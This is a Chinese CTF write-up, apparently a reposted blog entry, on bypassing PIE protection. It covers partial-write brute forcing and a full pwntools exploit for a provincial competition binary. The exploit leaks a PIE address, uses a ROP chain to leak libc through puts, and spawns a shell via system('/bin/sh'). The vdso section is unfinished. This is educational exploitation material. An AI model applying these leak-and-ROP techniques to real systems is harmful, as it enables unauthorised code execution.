PIE保护绕过
Posted countfatcode
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PIE保护绕过相关的知识,希望对你有一定的参考价值。
(一):partial write
开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write。但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是0到f,例如:
list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]
列表里是第二位字节可能的值,使用循环进行爆破。
(二):泄露地址
PIE 保护机制,影响的是程序加载的基址,并不会影响指令间的相对地址,因此如果我们能够泄露程序的某个地址,就可以通过修改偏移获得程序其它函数的地址。
这是浙江省省赛的一道pwn题,首先查看保护:
发现只有栈溢出没开。
用IDA查看反汇编代码,发现由两处可以输入的地方:
第一处的输入用户名时候
第二处则是在输入算式结果的时候
经过分析发现,在输入用户名时函数并不会给字符串末尾加上 ‘\\0‘ ,而 puts() 函数是在遇到 ‘\\0‘ 时结束输出,故我们可以利用这一特性泄露内存。可以采用填充8个字节或16个字节来泄露内存。在使用填充16个字节泄露内存时应注意是 p.send(‘A‘*16) 而非 p.sendline(‘A‘*16),否则多出来的 ‘\\n‘ 会影响接下来程序的执行。
第二处输入存在明显的栈溢出,故我们可以利用此处构造 payload。完整的exploit如下:
# -*- coding:utf-8 -*-
from pwn import *
libc = ELF(‘./libc.so.6‘)
context.log_level = ‘debug‘
p = process(‘./uninit‘)
# libc=ELF(‘./libc.so.6‘)
gdb.attach(p)
p.sendafter("name:", ‘A‘*16) # 发送填充16个字节
p.recvuntil(‘A‘*16)
PIE_addr = p.recvuntil("\\n")
PIE_addr = u64(PIE_addr[:-1].ljust(8, ‘\\x00‘)) #用u64()解包地址
# PIE_addr=u64(p.readline()[:-1].ljust(8,‘\\x00‘))
log.success("PIE_addr ==> :#x".format(PIE_addr))
base1 = PIE_addr - (0x55e5dce05b39-0x000055e5dce05000) #计算程序加载基地址
pop_rdi_addr = base1 + 0x0000000000000fd3 # pop rdi;的地址,用于构造puts和system函数的参数
puts_plt = base1 + 0x940
offset = 0x30 + 0x8 #覆盖到栈底的填充字节
puts_got = base1 + 0x201F60
start_addr = base1 + 0x9c0 #程序起始运行处的地址
payload = offset*‘A‘ + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
payload = payload.ljust(0x400, ‘A‘)
#gdb.attach(p)
p.recvuntil("Tell me count of game:")
p.sendline(‘1‘)
p.recvuntil("Answer:")
p.send(payload)
puts_addr = u64(p.recv(6).ljust(8,‘\\x00‘))
base2=puts_addr-(0x7ff149172690-0x00007ff149103000) #libc加载基地址
log.success("puts_addr ==> :#x".format(puts_addr))
log.success("base2 ==> :#x".format(base2))
system_addr=libc.symbols[‘system‘]+base2 #system函数的地址
bin_sh_addr=next(libc.search(‘/bin/sh‘))+base2 #‘/bin/sh’的地址
log.success("bin_sh_addr ==> :#x".format(bin_sh_addr))
log.success("system_addr ==> :#x".format(system_addr))
payload2=offset*‘A‘+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
payload2+=p64(start_addr)
payload2=payload2.ljust(0x400,‘\\x00‘) #此处用‘\\x00’填充是考虑到调用system时需要的环境变量
p.sendlineafter("name:",‘A‘*8)
p.sendlineafter("game:",‘1‘)
p.sendafter("Answer:",payload2)
p.interactive("countfatcode $")
(三):vdso/vsyscall
尚待补充
以上是关于PIE保护绕过的主要内容,如果未能解决你的问题,请参考以下文章